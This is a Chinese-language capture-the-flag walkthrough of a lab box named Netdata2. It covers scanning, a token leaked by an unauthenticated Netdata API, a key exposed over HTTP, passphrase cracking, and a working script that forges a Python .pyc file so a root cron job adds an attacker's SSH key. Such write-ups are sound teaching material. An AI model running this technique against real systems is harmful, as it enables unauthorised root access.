

Netdata2

端口扫描

始终缺少信息，于是拉大扫描范围

```
1  └─(lily2663@LAPTOP-L8P806AH)-[~]
2  └─$ nmap 192.168.1.45 -p- -Pn -A
3  Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-24 23:57 +0800
4  Nmap scan report for 192.168.1.45
5  Host is up (0.0014s latency).
6  Not shown: 65531 closed tcp ports (reset)
7  PORT      STATE SERVICE  VERSION
8  22/tcp    open  ssh      OpenSSH 10.3 (protocol 2.0)
9  80/tcp    open  http     Apache httpd 2.4.67 ((Unix))
10 |_http-server-header: Apache/2.4.67 (Unix)
11 | http-methods:
12 |_ Potentially risky methods: TRACE
13 |_http-title: dprod - Digital product design agency
14 8443/tcp  open  http     werkzeug httpd 3.1.8 (Python 3.14.5)
15 |_http-title: Site doesn't have a title (application/json).
16 |_http-server-header: Werkzeug/3.1.8 Python/3.14.5
17 19999/tcp open  dnp-sec?
18 | fingerprint-strings:
19 |   GenericLines:
20 |     HTTP/1.1 400 Bad Request
21 |     Connection: close
22 |     Server: Netdata Embedded HTTP Server v1.47.5
23 |     Access-Control-Allow-Origin: *
24 |     Access-Control-Allow-Credentials: true
25 |     Date: Mon, 24 Aug 2026 15:58:12 GMT
26 |     Content-Type: text/plain; charset=utf-8
27 |     Cache-Control: no-cache, no-store, must-revalidate
28 |     Pragma: no-cache
29 |     Expires: Mon, 24 Aug 2026 15:58:12 GMT
30 |     Content-Length: 43
31 |     X-Transaction-ID: 168d15430bec4ab9953007df1fa3bbf8
32 |     HTTP method requested is not supported...
33 |   GetRequest:
34 |     HTTP/1.1 200 OK
35 |     Connection: close
36 |     Server: Netdata Embedded HTTP Server v1.47.5
37 |     Access-Control-Allow-Origin: *
38 |     Access-Control-Allow-Credentials: true
39 |     Date: Wed, 13 May 2026 08:37:07 GMT
40 |     Content-Type: text/html; charset=utf-8
41 |     Cache-Control: public
42 |     Expires: Thu, 14 May 2026 08:37:07 GMT
43 |     Content-Length: 39655
44 |     X-Transaction-ID: c7c712fd4fd649bb8109571d60f85dfe
```

```

45 | <!doctype html><html lang="en"><head><title>netdata
dashboard</title><meta name="application-name" content="netdata"><meta
http-equiv="Content-Type" content="text/html; charset=utf-8"/><meta
charset="utf-8"><meta http-equiv="X-UA-Compatible"
content="IE=edge,chrome=1"><meta name="viewport" content="width=device-
width,initial-scale=1"><meta name="apple-mobile-web-app-capable"
content="yes"><meta name="apple-mobile-web-app-status-bar-style"
content="black-translucent"><meta name="author"
content="costa@tsaousis.gr"><link rel=
46 | HTTPOptions:
47 | HTTP/1.1 200 OK
48 | Connection: close
49 | Server: Netdata Embedded HTTP Server v1.47.5
50 | Access-Control-Allow-Origin: *
51 | Access-Control-Allow-Credentials: true
52 | Date: Mon, 24 Aug 2026 15:58:13 GMT
53 | Content-Type: text/plain; charset=utf-8
54 | Access-Control-Allow-Methods: GET, OPTIONS
55 | Access-Control-Allow-Headers: accept, x-requested-with, origin,
content-type, cookie, pragma, cache-control, x-auth-token
56 | Access-Control-Max-Age: 1209600
57 | Content-Length: 2
58 | X-Transaction-ID: 0c9ecdcf490a41eab8a57ed3d2481b09
59 | 1 service unrecognized despite returning data. If you know the
service/version, please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service :
60 SF-Port19999-TCP:V=7.99%I=7%D=8/24%Time=6A8C6A14%P=x86_64-pc-linux-gnu%r(G
61 SF:enericLines,1D4,"HTTP/1.1\x20400\x20Bad\x20Request\r\nConnection:\x20C
62 SF:lose\r\nServer:\x20Netdata\x20Embedded\x20HTTP\x20Server\x20v1.47.5\r
63 SF:\nAccess-Control-Allow-Origin:\x20*\r\nAccess-Control-Allow-Credential
64 SF:s:\x20true\r\nDate:\x20Mon,\x2024\x20Aug\x202026\x2015:58:12\x20GMT\r\n
65 SF:Content-Type:\x20text/plain;\x20charset=utf-8\r\nCache-Control:\x20no-c
66 SF:ache,\x20no-store,\x20must-revalidate\r\nPragma:\x20no-cache\r\nExpires
67 SF::\x20Mon,\x2024\x20Aug\x202026\x2015:58:12\x20GMT\r\nContent-Length:\x2
68 SF:043\r\nX-Transaction-ID:\x20168d15430bec4ab9953007df1fa3bbf8\r\n\r\nHTT
69 SF:P\x20method\x20requested\x20is\x20not\x20supported\.\.\.\r\n")%r(GetReq
70 SF:uest,9c5A,"HTTP/1.1\x20200\x20OK\r\nConnection:\x20close\r\nServer:\x2
71 SF:0Netdata\x20Embedded\x20HTTP\x20Server\x20v1.47.5\r\nAccess-Control-A
72 SF:llow-Origin:\x20*\r\nAccess-Control-Allow-Credentials:\x20true\r\nDate
73 SF::\x20Wed,\x2013\x20May\x202026\x2008:37:07\x20GMT\r\nContent-Type:\x20t
74 SF:ext/html;\x20charset=utf-8\r\nCache-Control:\x20public\r\nExpires:\x20T
75 SF:hu,\x2014\x20May\x202026\x2008:37:07\x20GMT\r\nContent-Length:\x2039655
76 SF:\r\nX-Transaction-ID:\x20c7c712fd4fd649bb8109571d60f85dfe\r\n\r\n!doct
77 SF:ype\x20html><html\x20lang="en"><head><title>netdata\x20dashboard</tit
78 SF:le><meta\x20name="application-name"\x20content="netdata"><meta\x20h
79 SF:ttp-equiv="Content-Type"\x20content="text/html;\x20charset=utf-8"/>
80 SF:<meta\x20charset="utf-8"><meta\x20http-equiv="X-UA-Compatible"\x20c
81 SF:ontent="IE=edge,chrome=1"><meta\x20name="viewport"\x20content="wid
82 SF:th=device-width,initial-scale=1"><meta\x20name="apple-mobile-web-app-
83 SF:capable"\x20content="yes"><meta\x20name="apple-mobile-web-app-statu
84 SF:s-bar-style"\x20content="black-translucent"><meta\x20name="author"
85 SF:\x20content="costa@tsaousis.gr"><link\x20rel="")%r(HTTPOptions,1FB,"H
86 SF:TTP/1.1\x20200\x20OK\r\nConnection:\x20close\r\nServer:\x20Netdata\x20
87 SF:Embedded\x20HTTP\x20Server\x20v1.47.5\r\nAccess-Control-Allow-Origin:
88 SF:\x20*\r\nAccess-Control-Allow-Credentials:\x20true\r\nDate:\x20Mon,\x2
89 SF:024\x20Aug\x202026\x2015:58:13\x20GMT\r\nContent-Type:\x20text/plain;\x
90 SF:20charset=utf-8\r\nAccess-Control-Allow-Methods:\x20GET,\x20OPTIONS\r\n
91 SF:Access-Control-Allow-Headers:\x20accept,\x20x-requested-with,\x20origin

```

```
92 SF:,\x20content-type,\x20cookie,\x20pragma,\x20cache-control,\x20x-auth-to
93 SF:ken\r\nAccess-Control-Max-Age:\x201209600\r\nContent-Length:\x202\r\nX-
94 SF:Transaction-ID:\x200c9ecdcf490a41eab8a57ed3d2481b09\r\n\r\nok");
95 No exact OS matches for host (If you know what OS is running on it, see
  https://nmap.org/submit/ ).
96 TCP/IP fingerprint:
97 OS:SCAN(V=7.99E=4%D=8/24%OT=22%CT=1%CU=35461%PV=Y%DS=2%DC=T%G=Y%TM=6A8C6A
  3
98 OS:4%P=x86_64-pc-linux-
  gnu)SEQ(SP=100%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=22)SE
99 OS:Q(SP=102%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=21)SEQ(SP=107%GCD=1%ISR=10A%TI
  =
100 OS:Z%CI=Z%TS=21)SEQ(SP=108%GCD=1%ISR=109%TI=Z%CI=Z%TS=21)SEQ(SP=F9%GCD=1%I
  S
101 OS:R=110%TI=Z%CI=Z%II=I%TS=21)OPS(O1=M5B4ST11NW9%O2=M5B4ST11NW9%O3=M5B4NNT
  1
102 OS:1NW9%O4=M5B4ST11NW9%O5=M5B4ST11NW9%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=F
  E
103 OS:88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW9%CC=Y%Q
  =
104 OS:)T1(R=Y%DF=Y%T=40%S=0%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%
  W
105 OS:=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=
  )
106 OS:T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=
  S
107 OS:+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RU
  C
108 OS:K=A4E6%RUD=G)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=A5
  0
109 OS:0%RUD=G)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=A51A%RU
  D
110 OS:=G)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=A526%RUD=G)U
  1
111 OS:
  (R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=A540%RUD=G)IE(R=Y%
112 OS:DFI=N%T=40%CD=S)
113
114 Network Distance: 2 hops
115
116 TRACEROUTE (using port 5900/tcp)
117 HOP RTT ADDRESS
118 1 0.32 ms LAPTOP-L8P806AH.mshome.net (172.22.64.1)
119 2 2.45 ms 192.168.1.45
120
121 OS and Service detection performed. Please report any incorrect results at
  https://nmap.org/submit/ .
122 Nmap done: 1 IP address (1 host up) scanned in 48.53 seconds
```

USERFLAG

信息搜集

80端口，目录爆破等手段并没有得到什么有效信息

Digital product design agency

Create live segments and target the right people for messages based on their behaviors.

[Get Started](#)

8443端口, Flask/Werkzeug 3.1.8

```
1 | {"message":"Internal Admin Service","status":"admin_service"}
```

19999为Netdata监控面板

扫目录, 存在巨量404噪声

进一步探测

发现<http://192.168.1.45:19999/api/v1/info>无需认证就可以访问

```
1  {
2      "version":"v1.47.5",
3      "uid":"18daade6-779f-11f1-a2a4-0800279840cc",
4      "hosts-available":1,
5      "mirrored_hosts":["Netdata2"],
6      "mirrored_hosts_status":[{"
7          "hostname":"Netdata2",
8          "hops":0,
9          "reachable":true,
10         "guid":"18daade6-779f-11f1-a2a4-0800279840cc",
11         "node_id":null,
12         "claim_id":null
13     }],
14     "alarms":{"
15         "normal":85,
16         "warning":2,
17         "critical":0
18     },
19     "os_name":"Alpine Linux",
20     "os_id":"alpine",
21     "os_id_like":"unknown",
22     "os_version":"unknown",
23     "os_version_id":"3.24.0_alpha20260127",
24     "os_detection":"/etc/os-release",
25     "cores_total":"2",
26     "total_disk_space":"10737418240",
27     "cpu_freq":"2419000000",
28     "ram_total":"4110512128",
```

```
29     "container_os_name": "none",
30     "container_os_id": "none",
31     "container_os_id_like": "none",
32     "container_os_version": "none",
33     "container_os_version_id": "none",
34     "container_os_detection": "none",
35     "is_k8s_node": "false",
36     "kernel_name": "Linux",
37     "kernel_version": "7.0.10-0-stable",
38     "architecture": "x86_64",
39     "virtualization": "kvm",
40     "virt_detection": "lscpu",
41     "container": "unknown",
42     "container_detection": "none",
43     "cloud_provider_type": "unknown",
44     "cloud_instance_type": "unknown",
45     "cloud_instance_region": "unknown",
46     "host_labels": {
47         "_os_name": "Alpine Linux",
48         "_os_version": "unknown",
49         "_kernel_version": "7.0.10-0-stable",
50         "_system_ram_total": "4110512128",
51         "_system_disk_space": "10737418240",
52         "_architecture": "x86_64",
53         "_virtualization": "kvm",
54         "_container": "unknown",
55         "_container_detection": "none",
56         "_internal_api_url": "http://127.0.0.1:8443/api/flag",
57         "_internal_api_auth_header": "X-Internal-Auth",
58         "_internal_api_auth_token": "s3cr3t_t0k3n_f0r_4dm1n",
59         "_cloud_provider_type": "unknown",
60         "_cloud_instance_type": "unknown",
61         "_cloud_instance_region": "unknown",
62         "_virt_detection": "lscpu",
63         "_is_k8s_node": "false",
64         "_install_type": "custom",
65         "_aclk_available": "true",
66         "_mqtt_version": "5",
67         "_aclk_proxy": "none",
68         "_aclk_ng_new_cloud_protocol": "true",
69         "_is_ephemeral": "false",
70         "_has_unstable_connection": "false",
71         "_is_parent": "false",
72         "_hostname": "Netdata2",
73         "_os": "linux",
74         "_system_cores": "2",
75         "_system_cpu_freq": "2419000000"
76     },
77     "functions": {
78         "streaming": {
79             "help": "Streaming status for parents and children.",
80             "timeout": 10,
81             "options": ["GLOBAL"],
82             "tags": "top",
83             "access": ["signed-in", "same-space", "sensitive-data"],
84             "priority": 101
85         },
86         "netdata-api-calls": {
```

```
87         "help":"View the progress on the running and latest Netdata
API Requests",
88         "timeout":10,
89         "options":["GLOBAL"],
90         "tags":"top",
91         "access":["signed-in","same-space","sensitive-data"],
92         "priority":102
93     },
94     "mount-points":{
95         "help":"View mount point statistics",
96         "timeout":10,
97         "options":["GLOBAL"],
98         "tags":"top",
99         "access":["anonymous-data"],
100        "priority":100
101    },
102    "network-interfaces":{
103        "help":"View network interface statistics",
104        "timeout":10,
105        "options":["GLOBAL"],
106        "tags":"top",
107        "access":["anonymous-data"],
108        "priority":100
109    },
110    "processes":{
111        "help":"Detailed information on the currently running
processes.",
112        "timeout":10,
113        "options":["GLOBAL"],
114        "tags":"top",
115        "access":["signed-in","same-space","sensitive-data"],
116        "priority":10
117    },
118    "network-connections":{
119        "help":"Network connections explorer",
120        "timeout":60,
121        "options":["GLOBAL"],
122        "tags":"top",
123        "access":["signed-in","same-space","sensitive-data"],
124        "priority":100
125    },
126    "containers-vms":{
127        "help":"View running containers",
128        "timeout":10,
129        "options":["GLOBAL"],
130        "tags":"top",
131        "access":["anonymous-data"],
132        "priority":50
133    },
134    "systemd-services":{
135        "help":"View systemd services",
136        "timeout":10,
137        "options":["GLOBAL"],
138        "tags":"top",
139        "access":["anonymous-data"],
140        "priority":33
141    },
142    "block-devices":{
```

```

143         "help": "View block device statistics",
144         "timeout": 10,
145         "options": ["GLOBAL"],
146         "tags": "top",
147         "access": ["anonymous-data"],
148         "priority": 100
149     }
150 },
151 "collectors": [{
152     "plugin": "idlejitter.plugin",
153     "module": ""
154 }, {
155     "plugin": "netdata",
156     "module": "stats"
157 }, {
158     "plugin": "apps.plugin",
159     "module": ""
160 }, {
161     "plugin": "nfacct.plugin",
162     "module": ""
163 }, {
164     "plugin": "ml.plugin",
165     "module": "training"
166 }, {
167     "plugin": "ml.plugin",
168     "module": "detection"
169 }, {
170     "plugin": "proc.plugin",
171     "module": "/proc/stat"
172 }, {
173     "plugin": "proc.plugin",
174     "module": "/proc/uptime"
175 }, {
176     "plugin": "proc.plugin",
177     "module": "/proc/loadavg"
178 }, {
179     "plugin": "proc.plugin",
180     "module": "/proc/sys/fs/file-nr"
181 }, {
182     "plugin": "proc.plugin",
183     "module": "/proc/sys/kernel/random/entropy_avail"
184 }, {
185     "plugin": "proc.plugin",
186     "module": "/proc/interrupts"
187 }, {
188     "plugin": "proc.plugin",
189     "module": "/proc/softirqs"
190 }, {
191     "plugin": "diskspace.plugin",
192     "module": ""
193 }, {
194     "plugin": "proc.plugin",
195     "module": "/proc/vmstat"
196 }, {
197     "plugin": "proc.plugin",
198     "module": "/proc/meminfo"
199 }, {
200     "plugin": "proc.plugin",

```

```

201         "module":"/proc/net/sockstat"
202     }, {
203         "plugin":"proc.plugin",
204         "module":"/proc/net/sockstat6"
205     }, {
206         "plugin":"proc.plugin",
207         "module":"/proc/net/netstat"
208     }, {
209         "plugin":"proc.plugin",
210         "module":"/proc/net/dev"
211     }, {
212         "plugin":"proc.plugin",
213         "module":"/proc/net/softnet_stat"
214     }, {
215         "plugin":"proc",
216         "module":"/proc/diskstats"
217     }, {
218         "plugin":"proc.plugin",
219         "module":"/proc/diskstats"
220     }, {
221         "plugin":"proc.plugin",
222         "module":"ipc"
223     }, {
224         "plugin":"proc.plugin",
225         "module":"/sys/class/power_supply"
226     }, {
227         "plugin":"timex.plugin",
228         "module":""
229     }],
230     "cloud-enabled":true,
231     "cloud-available":true,
232     "agent-claimed":false,
233     "aclk-available":false,
234     "memory-mode":"dbengine",
235     "multidb-disk-quota":1024,
236     "page-cache-size":32,
237     "web-enabled":true,
238     "stream-enabled":false,
239     "stream-compression":false,
240     "https-enabled":true,
241     "buildinfo":"Netdata Cloud|Stream Compression|Machine
Learning|dbengine|Native HTTPS|TLS Host Verification|zlib|protobuf|JSON-
C|libcap|libcrypto|libyaml|libmnl|apps|cgroup Network
Tracking|debugfs|IPMI|NFACCT|perf|slabinfo",
242     "release-channel":"stable",
243     "notification-methods":"",
244     "exporting-enabled":false,
245     "exporting-connectors":"",
246     "allmetrics-prometheus-used":0,
247     "allmetrics-shell-used":1,
248     "allmetrics-json-used":0,
249     "dashboard-used":1,
250     "charts-count":540,
251     "metrics-count":1224,
252     "ml-info":{
253         "version":1,
254         "enabled":true,
255         "min-train-samples":900,

```



```

256         "max-train-samples":21600,
257         "train-every":10800,
258         "diff-n":1,
259         "smooth-n":3,
260         "lag-n":5,
261         "random-sampling-ratio":0.2,
262         "max-kmeans-iters":0,
263         "dimension-anomaly-score-threshold":0.99,
264         "anomaly-detection-grouping-method":"average",
265         "anomaly-detection-query-duration":300,
266         "hosts-to-skip":"!*",
267         "charts-to-skip":"anomaly_detection.* netdata.*"
268     }
269 }

```

关键处：

```

1  _internal_api_url:      http://127.0.0.1:8443/api/flag
2  _internal_api_auth_header: X-Internal-Auth
3  _internal_api_auth_token: s3cr3t_t0k3n_f0r_4dm1n

```

于是构造请求：

```

1  └─(lily2663@LAPTOP-L8P806AH)-[~]
2  └─$ curl -H "X-Internal-Auth: s3cr3t_t0k3n_f0r_4dm1n"
   http://192.168.1.45:8443/api/flag
3  {"flag":"/b7a46cd4-3c6a-4fe9-b432-6aa60fc1c0d7"}

```

这个flag到底是个什么东西？？后来发现是路径。

获取ssh用户名/密钥

多次尝试后，发现在80端口的服务，在该路径暴露了OpenSSH 私钥

```

1  curl http://192.168.1.45/b7a46cd4-3c6a-4fe9-b432-6aa60fc1c0d7

```

```

1  -----BEGIN OPENSSH PRIVATE KEY-----
2  b3B1bnNzaC1rZXktdjEAAAACMFlczI1Ni1jdHIAAAAGYmNyexB0AAAAGAAAABDnJvarBy
3  AaK0VHGUqzKvNJAAGAAAAAEEAAABoAAAAE2vjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlz
4  dHAyNTYAAABBBau0VoQ2iikpRafaALDAzdldlq7etogfJpuys7uQkh0yssPHIOGI1nCvmk
5  fH+597ZZUha++8yznavl8rqIn4BZCAAACwIeMia8+vQg3Pds4BwlqyuiE1AH9chIZIzeoJ
6  +awY0UEJFz3Dkr13ja9wN4mGDnPJ/o9sblQstTDcEKsz9CluQ0MwrAgZ0IM8rmp/b1/NCH
7  +dAiQcFgnGllwiBvqn+HLzonSdiDa8t2FY7e1PCNwhehMANepB47b10GbNN+DLiIbr2NK9
8  Tf4hr4lkfDAJNCuNCAYPFGdeJiSYHZ5pz23C/EdTq4zx1L5fwTedbBgRwUC=
9  -----END OPENSSH PRIVATE KEY-----

```

john爆破

```

1  └─(lily2663@LAPTOP-L8P806AH)-[~/netdata2]
2  └─$ john --wordlist=/usr/share/wordlists/rockyou.txt id.hash
3  Using default input encoding: UTF-8
4  Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
5  No password hashes left to crack (see FAQ)
6
7  └─(lily2663@LAPTOP-L8P806AH)-[~/netdata2]
8  └─$ john --show id.hash
9  id_rsa:legolas
10
11  1 password hash cracked, 0 left

```

爆破出passphrase是:

```

1  | legolas

```

ssh-keygen

```

1  └─(lily2663@LAPTOP-L8P806AH)-[~/netdata2]
2  └─$ ssh-keygen -y -P legolas -f id_rsa
3  ecdsa-sha2-nistp256
   AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBAu0voq2iikpRafaALDAzd1d1
   q7etogfjPuys7uQkh0ysshPHIOGI1ncvmkfH+597ZZUha++8yznavl8rqIn4BZc= kendrals@Maze

```

于是登录

userflag

```

1
2  └─(lily2663@LAPTOP-L8P806AH)-[~/netdata2]
3  └─$ ssh -i id_rsa kendrals@192.168.1.45
4  Enter passphrase for key 'id_rsa':
5
6  _
7  \ \ / \ / \ _ \ / \ _ \ ' _ ` _ \ / \
8  \ v v / _/ | (| (| | | | | _/
9  \ \ / \ _ \ | \ _ \ / | | | | \ _ \
10
11  kendrals@Netdata2:~$ ls
12  user.txt
13  kendrals@Netdata2:~$ cat user.txt
14  flag{user-038b7528863a88af09ef985247ffc3ec}
15  kendrals@Netdata2:~$
16

```

ROOTFLAG

信息搜集

直接传并执行linpeas.sh , 观察linpeas.out中

-rw-rw-rw- pyc 666所有人可写

```
1 | -rw-rw-rw- 1 root root 742 Jul  4 20:28
   | /opt/backup/__pycache__/backup_utils.cpython-314.pyc
```

```
1 | 2341  ===== Interesting writable files owned by me or writable by everyone
   |      (not in Home)
2 | 2344  /opt/backup/__pycache__
3 | 2345  /opt/backup/__pycache__/backup_utils.cpython-314.pyc
```

再看

```
1 | -rw-r--r-- 1 root root 1872 Aug 25 01:22 /opt/backup/backup.log
```

01:22, 随后看还在刷新, 说明该进程一直在跑

查看该目录下文件

```
1 | /opt/backup# ls
2 | __pycache__  backup.log  backup_job.py  backup_utils.py
```

backup_job.py与backup_utils.py

```
1 | #backup_utils.py
2 | #!/usr/bin/env python3
3 | import os
4 | import datetime
5 |
6 | def run_backup():
7 |     print(f"[{datetime.datetime.now()}] Running backup...")
8 |     os.system("echo backup_complete >> /opt/backup/backup.log")# ← 就这行写
   | log
9 |     print("Backup complete")
10 |
11 | def cleanup():
12 |     print("Cleaning up old backups...")
```

```
1 | #backup_job.py (root cron 调用的入口)
2 | #!/usr/bin/env python3
3 | from backup_utils import run_backup
4 |
5 | if __name__ == '__main__':
6 |     run_backup()
```

- 1.得出cron活着,
- 2.锁定了需要劫持的函数run_backup(), log只是一直在因为run_backup()追加, 也就是说, cron调用的就是他, 所以要想办法劫持backup_utils.run_backup(), 来让root执行我的payload

提权

于是接下来编写劫持利用脚本

1.python的import机制

from backup_utils import run_backup

当import backup_utils

```
1 → 找 /opt/backup/__pycache__/backup_utils.cpython-314.pyc
2 → 校验: magic(版本) + 记录的源码 mtime + 记录的源码 size 是否和 .py 一致
3 → 一致 → 直接加载 pyc 里的字节码 (根本不看 .py 内容)
4 → 不一致 → 重新编译 .py 并覆盖写 pyc (伪造失败)
```

2.pyc的文件头部格式

```
1 [4B magic] [4B flags] [4B mtime] [4B size] [marshal 字节码]
2 magic = importlib.util.MAGIC_NUMBER # 版本标识, 3.14 是 2b0e0d0a
3 flags = 0 # 0 = 按时间戳校验
4 mtime = 源码文件的 mtime # ← 必须和真源码一模一样
5 size = 源码文件大小 # ← 必须和真源码一模一样
```

3.脚本构造:

```
1 import os
2 PAY="mkdir -p /root/.ssh && chmod 700 /root/.ssh && echo
   '[YOUR_SSH_PUBLIC_KEY]' >> /root/.ssh/authorized_keys && chmod 600
   /root/.ssh/authorized_keys; echo backup_complete >> /opt/backup/backup.log"
3 ## 把 [YOUR_SSH_PUBLIC_KEY] 替换成你自己的 ssh-rsa 公钥
4 def run_backup():
5     os.system(PAY)
6 def cleanup():
7     pass
```

执行

```
1 # ① 构造"假的 backup_utils"源码 -- 必须保留 run_backup/cleanup 同名 API
2 import marshal, struct, importlib.util, os
3
4 src = (
5     "import os\n"
6     "PAY=\"mkdir -p /root/.ssh && chmod 700 /root/.ssh && "
7     "echo '[YOUR_SSH_PUBLIC_KEY]' >> /root/.ssh/authorized_keys && "
8     "chmod 600 /root/.ssh/authorized_keys; "
9     "echo backup_complete >> /opt/backup/backup.log\"\n"
10    "def run_backup():\n"
11    "    os.system(PAY)\n"
12    "def cleanup():\n"
13    "    pass\n"
14    )
15 ## 把 [YOUR_SSH_PUBLIC_KEY] 替换成你自己的 ssh-rsa 公钥
16 #2.编译成 code object (字节码)
17 code = compile(src, 'backup_utils.py', 'exec')
18
19 #3.读真源码的 mtime/size, 用于伪造头部
20 st = os.stat('/opt/backup/backup_utils.py')
21
22 #4.拼pyc: magic + flags(0) + mtime + size + 字节码
23 pyc = (importlib.util.MAGIC_NUMBER
24        + struct.pack('<III', 0, int(st.st_mtime), st.st_size)
25        + marshal.dumps(code))
```

```
26 #5.覆盖写入 __pycache__
27 open('/opt/backup/__pycache__/backup_utils.cpython-314.pyc',
    'wb').write(pyc)
```

执行过程：

```

1 root cron (每分钟)
2   ↳ python3 /opt/backup/backup_job.py
3       ↳ from backup_utils import run_backup ← 加载我们的 pyc
4       ↳ run_backup() ← 执行我们的 os.system (以 root
身份)
5       ↳ pay

```

```
PS C:\Users\lilyzero207> ssh -i ~/.ssh/id_rsa root@192.168.1.45
```

welcome

```
root@Netdata2:~# ls
root.txt
root@Netdata2:~# cat root.txt
flag{root-57ef9bf79ec87b8179360756328fc252}
root@Netdata2:~#
```

```
1 flag{root-57ef9bf79ec87b8179360756328fc252}
```